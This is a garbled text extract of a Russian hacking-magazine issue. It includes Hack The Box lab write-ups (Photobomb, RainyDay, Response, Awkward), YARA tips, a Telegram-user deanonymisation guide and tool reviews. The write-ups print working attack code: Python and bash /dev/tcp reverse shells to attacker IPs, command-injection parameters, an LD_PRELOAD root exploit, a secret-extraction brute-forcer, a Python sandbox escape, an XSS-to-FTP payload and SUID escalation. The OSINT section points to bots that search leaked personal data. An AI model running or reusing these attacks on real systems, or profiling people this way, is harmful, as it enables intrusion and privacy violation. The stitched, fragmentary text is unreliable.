Худшие строки — это те, которые вообще не содержат атомов, например вот
такие регулярки:
/\w.*\d/
/[0-9]+\n/
Такт 4. Условия
После выполнения всех сравнений с образцом в дело вступают условия.
За проверку условия отвечают вычисления по короткой схеме, также извес‐
тные как вычисления Маккарти.
Вычисления Маккарти — это принцип оптимизации вычислений,
при котором второй логический оператор вычисляется только в том случае,
если первого логического оператора недостаточно для определения зна‐
чения выражения.
Рассмотрим простой пример.
// Условия
condition:
filesize < 20KB and
$php_tag and
$payload and
any of ( $input* ) and
math.entropy(500, filesize-500) >= 5
// Медленное условие
math.entropy(0, filesize) > 7.0 and uint16(0) == 0x5A4D
// Оптимизированное условие
uint16(0) == 0x5A4D and math.entropy(0, filesize) > 7.0
condition:
for all i in (1..filesize) : ( что угодно )
strings:
$mz = "MZ"
condition:
$mz at 0 and for all i in (1..filesize) : ( что угодно )
Уже лучше, но все еще не идеально. Правило будет обходить обычные файлы,
а большие PE будут сканироваться по‑прежнему долго. Давай добавим огра‐
ничение по размеру:
$mz at 0 and filesize < 100KB and for all i in (1..filesize) : ( что
угодно )
// Условия
condition:
filesize < 20KB and
$php_tag and
$payload and
any of ( $input* ) and
math.entropy(500, filesize-500) >= 5
ПОДКЛЮЧАЕМЫЕ МОДУЛИ
МЕТАДАННЫЕ
ДОПОЛНИТЕЛЬНЫЕ ИНСТРУМЕНТЫ
Velociraptor
Рассмотрим алгоритм запуска сканирования на примере open-source EDR
Velociraptor.
Переходим в раздел Hunt Manager.
Loki Scaner
Loki Scaner — это консольная утилита с открытым исходным кодом, которая
может выполнять сканирование на основе правил YARA или IOC (Indicator
of Compromise — индикаторы компрометации).
Для добавления своих правил переходим в папку loki\signature-base\
yara, после чего можем открыть CLI (cmd/terminal) и начать сканирование.
АТРИБУЦИЯ НА YARA
HTB
PHOTOBOMB
ИСПОЛЬЗУЕМ МИСКОНФИГ
SUDO ДЛЯ ПОВЫШЕНИЯ
ПРИВИЛЕГИЙ
WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts, чтобы можно было обращаться
к хосту по имени:
10.10.11.182 photobomb.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Nmap показал нам два открытых порта: 22-й, на котором работает служба
OpenSSH 8.2p1, и 80-й, где отвечает веб‑сервер Nginx 1.18.0. Поскольку
учетной записи для логина по SSH у нас пока нет, выбор очевиден: идем
просматривать веб. Все действия я буду проводить через Burp Proxy, чтобы
потом иметь доступ ко всем данным запросов и ответов.
ТОЧКА ВХОДА
По ссылке нам открывается форма HTTP-аутентификации.
Burp History
http://pH0t0:b0Mb!@photobomb.htb/printer
ТОЧКА ОПОРЫ
На сайте есть возможность скачать изображение в выбранном качестве
и разрешении. Для нас это интересно, поэтому просмотрим передаваемые
в запросе параметры при конфигурации и скачивании картинки.
python3 -m http.server 80
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&
filetype=jpg%0Acurl%20http%3a//10.10.14.7/test_RCE&
dimensions=1000x1500
Логи веб‑сервера
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.7",4321))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%0Apython3+-
c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,
socket.SOCK_STREAM)%3bs.connect(("10.10.14.7",4321))%3bos.dup2(s.
fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)
%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&dimensions=1000x1500
Запрос на сервер
Флаг пользователя
Настройки судоера
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы
пользователей могут выполнять от имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды sudo -l.
cat /opt/cleanup.sh
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Флаг рута
Машина захвачена!
ВЗЛОМ
HTB
RAINYDAY
ЭКСПЛУАТИРУЕМ API
И БРУТИМ «СОЛЕНЫЙ» ПАРОЛЬ
WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.184 rainyday.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
ТОЧКА ВХОДА
Давай построим карту сайта в Burp Suite, чтобы лучше ориентироваться.
Для этого выбираем любой запрос к целевому сайту и в контекстном меню
кликаем Engagement tool → Discovery content. После окончания сканирования
на вкладке Site map увидим что‑то похожее на скрин ниже.
Но сайт на новом домене нам недоступен, о чем говорит код ответа 403. Зато
на карте сайта есть интересная страница /api/.
Страница /api/
Существующие докер‑образы
ТОЧКА ОПОРЫ
Найденные хеши были созданы алгоритмом bcrypt, который устойчив
к перебору, — работа hashcat заняла около 25 минут. Для перебора bcrypt
нужно использовать режим 3200 (параметр -m).
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ПРОДВИЖЕНИЕ
Пользователь jack
Загрузим на хост статически собранный Nmap и найдем другие хосты (кон‐
тейнеры) в сети.
127.0.0.1 dev.rainycloud.htb
curl http://dev.rainycloud.htb:8888/api/healthcheck | jq
Ответ сервера
В ответе представлены варианты проверки файлов. Так как первые три вари‐
анта привязаны к файлам определенных типов, нам более важен последний
тип, в котором можно задать паттерн. Повторим последний вариант со сле‐
дующими параметрами:
Ответ сервера
Ответ сервера
import requests
import json
sess = requests.Session()
secret = "SECRET_KEY"
while True:
for c in '
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/="'.':
try:
r = sess.post('http://dev.rainycloud.htb:8888/api/
healthcheck', {
'file': '/var/www/rainycloud/secrets.py',
'type': 'custom',
'pattern': "^" + secret + c + ".*"
}, cookies={'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.
sauINNJZPW5yNHkQ44vdw3RkCDA'})
if json.loads(r.content)['result']:
secret += c
print(secret)
break
except Exception:
pass
Расшифрованные данные
Логи pspy64
Флаг пользователя
Пользователь jack_adm
Нам снова нужно собрать информацию, и на этот раз скрипт PEASS навел
меня на правильный путь — настройки sudoers.
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы
пользователей могут выполнять от имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды sudo -l.
Настройки sudoers
().__class__.__mro__[1]
().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__[
"__builtins__"]
().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__[
"__builtins__"]["__loader__"]().load_module("builtins").__import__(
"os").system("whoami")
().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__[
"__builtins__"]["__loader__"]().load_module("builtins").__import__(
"os").system("bash -i")
sudo -l
Настройки sudoers
Проверка скрипта
В ответе получаем хеш bcrypt. Интересно, что если попробовать его проб‐
рутить, то его прообразом не будет введенная нами строка test. Скорее все‐
го, при хешировании используется соль. Но просмотреть скрипт мы
не можем.
H1 = 72*'A'
H2 = 71*'A' + S[0]
H3 = 70*'A' + S[0] + S[1]
Таблица UTF8-3byte
Вычисление хеша
Вычисление хеша
Теперь составим словарь для полученного хеша. Для этого к введенной нами
строке добавим по очереди все возможные символы и запишем в словарь.
s = ' ェェェェェェェェェェェェェェェェェェェェェェェAA'
for i in range(0,255):
print(s + chr(i))
Вычисление хеша
Теперь обновляем наш список для перебора. Мы знаем первый символ соли,
второй будем перебирать.
s = ' ェェェェェェェェェェェェェェェェェェェェェェェAH'
for i in range(0,255):
print(s + chr(i))
У нас уже есть два символа соли. Продолжаем дальше получать по одному
символу. Я перейду сразу к последней итерации, где мы уже получили всю
соль (H34vyR41n). Так как последний символ будет 0 байт, hashcat отобразит
прообраз в шестнадцатеричном виде.
s = ' ェェェェェェェェェェェェェェェェェェェェ
AAH34vyR41n'
for i in range(0,255):
print(s + chr(i))
Флаг рута
Машина захвачена!
ВЗЛОМ
HTB
RESPONSE
WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.163 response.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Карта сайта
ТОЧКА ВХОДА
Копируем содержимое файла /status/main.js.php на локальную машину
и изучаем. Этот файл содержит данные для обращения к домену api.
response.htb через сайт на домене proxy.response.htb.
{"url":"http://api.response.htb/","url_digest":
"cab532f75001ed2cc94ada92183d2160319a328e67001a9215956a5dbf10c545",
"method":"GET","session":"6c2a752c873e8c03fc927a81647402d0",
"session_digest":
"6ce5cbd27651561e9005287bc5d8cf3201aa6c4fe885057ae80b40af0b8951bd"}
Burp Inspector
Так как дальше данные представлены в формате JSON, можно красиво отоб‐
разить их при помощи утилиты jq.
Ответ сервера
Ответ сервера
Ответ сервера
Запрос /status/main.js.php
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HTB RESPONSE
БЬЕМСЯ НАД САМОЙ СЛОЖНОЙ МАШИНОЙ С
HACK THE BOX
ТОЧКА ОПОРЫ
Теперь проверим, придет ли нам ответ, если мы попробуем обратиться
к чату. Первым делом сгенерируем для url действительный url_digest.
127.0.0.1 chat.response.htb
class ProxyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.do_Multi('GET')
def do_POST(self):
self.do_Multi('POST')
Логи сервера
def getUrlDigest(target_url):
r = requests.get('http://www.response.htb/status/main.js.php',
cookies={'PHPSESSID': target_url})
index = r.text.index("'session_digest':'") + 18
url_digest = r.text[index : index + 64]
return url_digest
class ProxyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.do_Multi('GET')
def do_POST(self):
self.do_Multi('POST')
url_digest = getUrlDigest(target_url)
print(url_digest)
Логи сервера
def getUrlDigest(target_url):
r = requests.get('http://www.response.htb/status/main.js.php',
cookies={'PHPSESSID': target_url})
index = r.text.index("'session_digest':'") + 18
url_digest = r.text[index : index + 64]
return url_digest
class ProxyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.do_Multi('GET')
def do_POST(self):
self.do_Multi('POST')
url_digest = getUrlDigest(target_url)
data = sendRequest(target_url, method, url_digest)
print(data)
Логи веб‑сервера
def getUrlDigest(target_url):
r = requests.get('http://www.response.htb/status/main.js.php',
cookies={'PHPSESSID': target_url})
index = r.text.index("'session_digest':'") + 18
url_digest = r.text[index : index + 64]
return url_digest
class ProxyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.do_Multi('GET')
def do_POST(self):
self.do_Multi('POST')
url_digest = getUrlDigest(target_url)
data = sendRequest(target_url, method, url_digest)
if not data == None:
self.send_response(200)
if uri.endswith('.js'):
self.send_header("Content-type", "application/
javascript")
elif uri.endswith('.css'):
self.send_header("Content-type", "text/css")
else:
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(data)
Логи сервера
def getUrlDigest(target_url):
r = requests.get('http://www.response.htb/status/main.js.php',
cookies={'PHPSESSID': target_url})
index = r.text.index("'session_digest':'") + 18
url_digest = r.text[index : index + 64]
return url_digest
class ProxyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.do_Multi('GET')
def do_POST(self):
self.do_Multi('POST')
url_digest = getUrlDigest(target_url)
if method == 'POST':
content_length = int(self.headers.get('Content-Length'))
post_body = self.rfile.read(content_length)
print("body: " + post_body.decode())
else:
post_body = None
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HTB RESPONSE
БЬЕМСЯ НАД САМОЙ СЛОЖНОЙ МАШИНОЙ С
HACK THE BOX
ПРОДВИЖЕНИЕ
Пользователь bob
В логах видим переданные на сервер данные. Помимо логина и пароля, также
передается адрес сервера LDAP.
Логи сервера
Настройка LDAP
dn: ou=users,dc=response,dc=htb
changetype: add
objectClass: organizationalPerson
sn: test
cn: test
dn: uid=admin,ou=users,dc=response,dc=htb
changetype: add
objectClass: inetOrgPerson
userPassword: ralfralf
sn: test
cn: test
Переписка с пользователем
Переписка с пользователем
Переписка с пользователем
Логи веб‑сервера
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", 'http://172.18.0.6:2121/',true);
xhr.setRequestHeader("Content-Type", "application/
x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status ===
200) {}
}
xhr.send("USER ftp_user\r\nPASS Secret12345\r\nPORT 10,10,14,40,
100,100\r\nLIST\r\n");
</script>
Ответ FTP
Ответ FTP
Флаг пользователя
Пользователь scryh
Теперь нам необходимо собрать информацию. Я, как обычно, использовал
для этого скрипты PEASS, но в этот раз в выводе скрипта мало интересного:
в списках процессов отмечаем работающий Docker, а также недавно
модифицированные файлы в домашнем каталоге другого пользователя.
Список процессов
Логи pspy64
/usr/bin/ldapsearch -x -D 'cn=admin,dc=response,dc=htb' -w
'aU4EZxEAOnimLNzk3' -s sub -b 'ou=servers,dc=response,dc=htb' '(
objectclass=ipHost)'
Ответ от сервера
Затем для каждого сервера сканируется порт 443 (строка 26). Давай добавим
в базу новую запись, где укажем свой хост. Сначала добавим эту запись
в файл.
dn: cn=rPC,ou=servers,dc=response,dc=htb
objectClass: top
objectClass: ipHost
objectClass: device
cn: rPC
manager: uid=marie,ou=customers,dc=response,dc=htb
ipHostNumber: 10.10.14.32
Логи листенера
/usr/bin/ldapsearch -x -D 'cn=admin,dc=response,dc=htb' -w
'aU4EZxEAOnimLNzk3' -s sub -b 'ou=servers,dc=response,dc=htb' '(&(
objectclass=ipHost)(ipHostNumber='10.10.14.32'))'|grep 'manager:
uid='|cut -d '=' -f2|cut -d ',' -f1
Затем полученный UID передается в новый запрос LDAP в строке 35. Только
этот запрос выполняется к другому подразделению (customers), и из ответа
выделяется почтовый адрес пользователя. Посмотрим на это подразделение.
/usr/bin/ldapsearch -x -D "cn=admin,dc=response,dc=htb" -w
aU4EZxEAOnimLNzk3 -s sub -b 'ou=customers,dc=response,dc=htb' '(uid='
marie')'
Ответ от сервера
Теперь нам нужно добавлять записи в оба подразделения. Новый файл new.
ldif:
dn: cn=rPC,ou=servers,dc=response,dc=htb
objectClass: top
objectClass: ipHost
objectClass: device
cn: rPC
manager: uid=ralf,ou=customers,dc=response,dc=htb
ipHostNumber: 10.10.14.32
dn: uid=ralf,ou=customers,dc=response,dc=htb
objectClass: inetOrgPerson
cn: Marie Wiliams
sn: ralf
uid: ralf
mail: ralf@ralf-pc.htb
address=/mail.ralf-pc.htb/10.10.14.32
mx-host=ralf-pc.htb,mail.ralf-pc.htb,0
dnsmasq -C dns.txt
openssl req -x509 -nodes -newkey rsa:4096 -out cert.pem -keyout key.
pem -sha256 -days 356
httpd.serve_forever()
Все готово. Теперь обновляем запись LDAP, как это делали раньше, и в
течение минуты получаем запрос на веб‑сервер, а потом и сообщение
на почтовый.
Входящее сообщение
Отчет о сканировании
openssl req -x509 -nodes -newkey rsa:4096 -out cert.pem -keyout key.
pem -sha256 -days 356
Создание сертификата
Снова обновляем запись LDAP и получаем новый файл. Теперь отчет, как и
предполагалось, содержит ключ SSH!
Отчет
HTB
AWKWARD
ИНЖЕКТИМ КОМАНДЫ ОС
РАЗНЫМИ СПОСОБАМИ
Наша цель — захват учебной машины Awkward с площадки Hack The Box. Уро‐
вень сложности — средний.
WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока‐
жешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Первым делом добавляем IP-адрес машины в /etc/hosts:
10.10.11.185 awkward.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
ТОЧКА ВХОДА
Чтобы увеличить область тестирования, лучше всего построить карту сайта.
Это можно сделать прямо в Burp Proxy, выбрав в контекстном меню
Engagement tools → Discover content.
Карта сайта
Страница dashboard
ТОЧКА ОПОРЫ
Просматривая Burp History, находим новый запрос к неизвестному API.
Burp History
Ответ сервера
Так как происходит расшифровка значения куки token, а мы там просто ука‐
зали слово admin, то и расшифровано оно не будет. Отсюда и получается
ошибка. Переносим запрос в Burp Repeater, совсем удаляем куки и выпол‐
няем запрос.
Ответ сервера
Декодирование JWT-токена
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HTB AWKWARD
ИНЖЕКТИМ КОМАНДЫ ОС РАЗНЫМИ
СПОСОБАМИ
ПРОДВИЖЕНИЕ
SSRF
Переходим к следующему обнаруженному в Burp History API — store-status.
Этот эндпоинт принимает в качестве параметра URL и возвращает содер‐
жимое страницы.
Справка: SSRF
SSRF — это атака на сервер, в результате которой злоумышленник получает
возможность отправлять запросы от имени скомпрометированного хоста.
SSRF может быть использована в DoS-кампаниях для маскировки реального
источника атаки. В таких случаях уязвимый хост выступает в качестве прок‐
си‑сервера.
LFI
В API all-leave находим вызов функции exec, которая выполняет команду
awk с пользовательским вводом (имя пользователя из токена). Вызову пред‐
шествует фильтрация пользовательского ввода по указанному черному спис‐
ку символов.
Создание JWT
user
Первым делом я попытался прочитать приватный ключ пользователя,
но такого в системе не оказалось. Идея с историей команд bash также потер‐
пела неудачу. А вот файл .bashrc, который представляет собой скрипт,
запускающийся каждый раз, когда пользователь открывает новую командную
оболочку, показал нам файл с интересным названием.
Это список задач, а внизу видим логин и найденную ранее строку. Пред‐
полагаем, что это пароль, и авторизуемся по SSH.
Флаг пользователя
/var/www/private/leave_requests.csv
Список процессов
user → web
Переходим на сайт, и нас встречает HTTP-аутентификация.
У нас уже есть доступ к системе, нужно попробовать получить исходный код
сайта, что значительно облегчит тестирование.
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.73/4321 0>&1
1'+-e+"1e+/tmp/shell.sh"+/tmp/shell.sh+'
Оригинальный запрос
Измененный запрос
web → root
Теперь перейдем к файлу /var/www/private/leave_requests.csv.
Логи pspy
В логах pspy видим вставку строки 111 в команду программы mail. Тут мы
можем выполнить инъекцию команды ОС, при этом команда выполняется
от имени рута. Запустим скрипт, который присвоит S-бит файлу /bin/bash.
#!/bin/bash
chmod u+s /bin/bash
Логи pspy
/bin/bash -p
Флаг рута
Машина захвачена!
ПРИВАТНОСТЬ
ЭТО ОН,
ДЕАНОН
ПРОБИВАЕМ ПОЛЬЗОВАТЕЛЕЙ
TELEGRAM
ПО ОТКРЫТЫМ ИСТОЧНИКАМ
WARNING
Сбор информации о частной жизни граждан
без их согласия незаконен, помни об этом.
В этой статье рассказывается о поиске в откры‐
тых источниках данных, которые люди оставляют
в публичном доступе сами. Но в любом случае
нужно соблюдать требования законодательства
и уважать право граждан на сохранение их при‐
ватности. Поэтому информация в статье предос‐
тавлена исключительно в ознакомительных целях.
Авторы и редакция не несут ответственности
за любой возможный вред, причиненный исполь‐
зованием материалов этой публикации.
WWW
Если ты хочешь узнать способы сбора имен учас‐
тников чатов в «Телеграме», обязательно про‐
читай статью «Парсим телегу. Как собирать имена
участников чатов в Telegram».
Все эти боты ищут информацию в утекших базах данных, которыми щедро
делятся с анонимусами всевозможные интернет‑магазины, службы доставки
и криворукие админы популярных пабликов. Выяснив имя пользователя, его
номер телефона или email, можно повторить поиск с этими данными
и получить дополнительные сведения, например известные пароли, учетки
в социальных сетях, дату рождения, другие ники этого пользователя.
На следующем этапе можно попытаться найти что‑нибудь интересное
с использованием специализированных поисковых систем вроде
lyzem.com — это поисковик по открытым чатам, каналам, ботам Telegram
и сайту telegra.ph.
Lyzem
telegcrack.com
ПОИСК ПО НИКУ
ВЫЯВЛЯЕМ ИНТЕРЕСЫ
Понимание того, чем интересуется тот или иной человек, позволит составить
более целостную картину его личности. Один из способов выяснить круг его
интересов — собрать список чатов, в которых этот юзер состоит. Кроме того,
в чатах и группах можно отыскать сообщения пользователя и выяснить о нем
что‑нибудь любопытное. Вот два бота, позволяющие решить эту задачу:
• @ibhldr_bot;
• @telesint_bot.
КНИГА ЛИЦ
Если тебе удалось раздобыть аватарку или портрет интересующего тебя пер‐
сонажа, имеет смысл поискать человека с этой фотографии (или похожего
на него) в социальных сетях и различных пабликах. Еще можно составить спи‐
сок юзеров, использующих одну и ту же аватарку на разных сайтах, — воз‐
можно, несколько таких учетных записей принадлежат одному и тому же поль‐
зователю. Вот инструменты, которые помогут тебе решить эту задачу:
• FaceCheck — служба поиска по фото в зарубежных соцсетях;
• Search4faces — то же самое, но по «Вконтакте» и «Одноклассникам»;
• Pimeyes — качественный, но платный поиск по картинкам (в телеграм‑боте
этого сервиса можно выполнить три бесплатных поиска);
• ImageSearch.org — бесплатный поиск похожих картинок в интернете;
• Tineye.com — этот сервис в представлениях не нуждается;
• Reverse Image Search — аналог Tineye;
• Karmadecay — поиск похожих изображений в Reddit.
ВЫВОДЫ
МАСТЕРСКАЯ
ХАКЕРА
ИИ-ПОМОЩНИКИ,
РАБОТА С JSON
И ПРИЯТНЫЕ МЕЛОЧИ,
КОТОРЫЕ ПРИГОДЯТСЯ
В РАБОТЕ
«Мастерская хакера»
Это уже шестая моя подборка утилит, облегчающих жизнь в мелочах. Бла‐
годарные читатели продолжают открывать передо мной свои кладовки, а я
выношу оттуда и показываю на страницах «Хакера» самое лучшее.
Не забудь заглянуть в прошлые части. В первой мы рассматривали
в основном сетевые утилиты, во второй — дашборды и прочие украшатель‐
ства, в третьей я сконцентрировался на жизни в Windows с WSL, четвертая
была для администраторов Linux, а пятая — в основном про self-hosted-шту‐
ки.
MOAR
export PAGER=/usr/local/bin/moar
AI-CLI
ИИ‑помощник в деле
Только имей в виду, что при слишком сложных запросах GPT-3 может и не
понять, что ты от нее хочешь, и выдать не то, что нужно. Так что хотя бы прос‐
матривай глазами команду, прежде чем ее выполнить (о чем программа нас
честно предупреждает, когда показывает ответ)!
Теперь о грустном — о цене. Она составляет почти два цента за один зап‐
рос, и это не очень хорошо, с учетом того, что Google и Stack Overflow бес‐
платны. Фактически единственное преимущество ai-cli в скорости, с которой
тебе доставляется (возможно, правильный) ответ.
В описании программы перечислено еще и автодополнение команд,
но оно и так есть в том же Zsh и многих других оболочках.
Настройки
CLI-EXERCISES
Хоть в этой программе и нет искусственного интеллекта, она все равно при‐
годится новичку, чтобы научиться работе в терминале. Вместо того чтобы
спрашивать каждую мелочь у ИИ (что дорого и потенциально опасно), можно
посидеть какое‑то время с тренажером и научиться всему самостоятельно.
Программа cli-exercises — это как раз такой тренажер, который учит работе
с терминалом на примерах частых задач.
JSON FX
export FX_THEME=8
Встроенные темы
Установить FX можно из snap (пакет fx) или просто скачав бинарник со стра‐
ницы релизов.
Если раньше я для просмотра JSON пользовался VS Code, то теперь
для быстрого просмотра использую только FX.
YQ
users:
admin: admin
editor: xakep
corrector: autospellcheck
wget https://github.com/mikefarah/yq/releases/latest/download/yq_
linux_amd64 -O /usr/bin/yq &&\
chmod +x /usr/bin/yq
Продолжение статьи →
ТРЮКИ ← НАЧАЛО СТАТЬИ
# Применим их к оригиналу
patch sample.yaml patch.file
ADRENALINE
TEETTY
TTOP
Так уж получилось, что в каждой из моей подборок есть вариация на тему top.
Этот раз не станет исключением. Предлагаю твоему вниманию ttop. После
всего, что мы уже видели в прошлых выпусках, он не выглядит каким‑то уж
особенно крутым, но изюминку все же имеет: он может записывать историю
активности и позволяет просматривать ее. Это не atop, конечно, но тоже
ничего.
Установить ttop можно, просто скачав готовый бинарь с GitHub:
wget https://github.com/inv2004/ttop/releases/latest/download/ttop
chmod +x ttop
SHELLJACK
PRIVAXY
Про ChatGPT в 2023 году слышал каждый. Эта замечательная нейросеть сво‐
бодно понимает на многих языках, отвечает на любые вопросы и умеет врать
настолько убедительно, что даже понадобились детекторы, способные рас‐
познать контент, сгенерированный ИИ (один, другой).
Для нас, инженеров, важно то, что ChatGPT с полпинка понимает задачу
и выдает красивое готовое решение. Особенно удобно это использовать
при решении типовых проблем, в духе «создать React-компонент» или «рас‐
парсить JSON на C#». Можно гуглить, перекапывать Stack Overflow, а можно
просто спросить ИИ и получить ответ для конкретно твоей ситуации.
Расширение ChatGPT for Google позволяет совместить эти способы: каж‐
дый раз, когда ты спрашиваешь что‑то в Google, Bing, DDG, Brave или еще
некоторых поисковиках, расширение продублирует твой запрос в ChatGPT
и покажет ответ прямо на странице результатов.
Поддерживается подсветка кода, Markdown в ответах корректно парсится,
есть кнопка копирования ответа и, самое главное, темная тема!
Установить это чудо прогресса можно из официальных магазинов Chrome
и Firefox, а если у тебя браузер Brave, то нужно будет снять в настройках
галочку «Prevent sites from fingerprinting me based on my language preferences»,
иначе расширение не сможет показывать ответы на страницах поисковика.
GEEK
Ну, во‑первых, чтобы я сам не запутался, пока пишу эту простыню, и чтобы ты
не запутался, когда будешь ее читать. А во‑вторых, с помощью этого нехит‐
рого приема мы попытаемся навести порядок в головах в терминологии
и отделить наконец неправильных мух от правильных котлет. Хуже от этого
никому не будет, а вот понятнее станет многим!
Что такое кастомизация? Википедия утверждает, что кастомизация (от
англ. to customize — настраивать, изменять) — маркетинговый подход, под‐
разумевающий изменение массового товара или услуги под запросы потен‐
циальных клиентов.
В нашем конкретном случае под кастомизацией понимается замена одних
комплектующих клавиатуры другими и модификация имеющихся деталей.
Спрос на «интересненькие» клавиатуры сформирован из человеческого
желания выпендриться выделиться среди остальных и получить что‑то уни‐
кальное как по внешнему виду, так и по характеристикам. Так что произво‐
дители клавиатурных товаров очень хотят, чтобы ты купил их основы, кейкапы,
свичи, стабы, шумки и всякие там артизаны с подставками.
Печатать можно на любой клавиатуре, но печатать на собранной или про‐
качанной своими руками под себя — гораздо приятнее. Согласен? То‑то. Что
ж, давай поговорим о конкретных случаях и тех самых «уровнях кастомиза‐
ции».
УРОВЕНЬ 1
УРОВЕНЬ 2
Теперь речь пойдет о barebone kit. Давай сразу разберемся с этим определе‐
нием.
Баребон (не путать с барабаном) — это клавиатура, которая массово про‐
дается в не до конца собранном виде. Обычно в продажу поступает основа,
которая включает в себя корпус, плату, плейт, набор шумок, стабилизаторы.
Короче, это клавиатура без кейкапов и переключателей. Покупаешь эту
основу и сразу устанавливаешь нужные тебе переключатели и кейкапы, тем
самым влияя на эргономику, эстетику и звук. Главное — лишних кейкапов
и свичей от стандартной клавиатуры у тебя не останется, меньше хлама —
больше профита!
Стоит также упомянуть, что баребон‑основа для клавиатуры может быть
и сильно хуже по качеству, чем массмаркет‑клавиатура. К примеру, Dark
Project KD83a укатает по качеству даже несколько «тру»-кастомов третьего
уровня, но может слить и некоторым второго. Поэтому покупка баребона —
это прежде всего индивидуальный выбор с четкой развилкой: экономия
средств, чтобы купить нужные кепки и переключатели на свой вкус, либо
необходимость потратиться чуть сильнее, но получить основу для сборки
качеством выше, чем первый. Впрочем, относительно этого уровня действует
классическая формула: больше платишь — получаешь клаву пожирнее.
Такие наборы «для умелых рук» выпускают, в частности, Epomaker, ZUOYA,
Akko, Keychron, Skyloong, KJMODIFY, Lovoski, Fantech, Dareu.
УРОВЕНЬ 3
Продолжение статьи →
GEEK ← НАЧАЛО СТАТЬИ
ПОЛНЫЙ КАСТОМ
ЧТО ТАКОЕ НАСТОЯЩАЯ КАСТОМНАЯ
КЛАВИАТУРА
И ЧЕМ ОНА ОТЛИЧАЕТСЯ
ОТ НЕНАСТОЯЩЕЙ
УРОВЕНЬ 4
УРОВЕНЬ 5
УРОВЕНЬ DIY
GAME OVER
TL;DR
Если хочешь публиковаться в «Хакере», придумай тему для первой статьи
и предложи редакции.
№2 (287)
Андрей Письменный Валентин Холмогоров Илья Русанен
Главный редактор Ведущий редактор Разработка
pismenny@glc.ru valentin@holmogorov.ru rusanen@glc.ru
Евгения Шарипова
Литературный редактор
MEGANEWS
Мария Нефёдова
nefedova@glc.ru
АРТ
yambuto
yambuto@gmail.com
КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев, Олег Афонин,
Марк Бруцкий‑Стемпковский,
Алексей Глазков, Nik Zerof,
Юрий Язев
РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru
РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы о подписке: Вопросы о материалах:
lapina@glc.ru support@glc.ru
Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.08.
2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация к раз‐
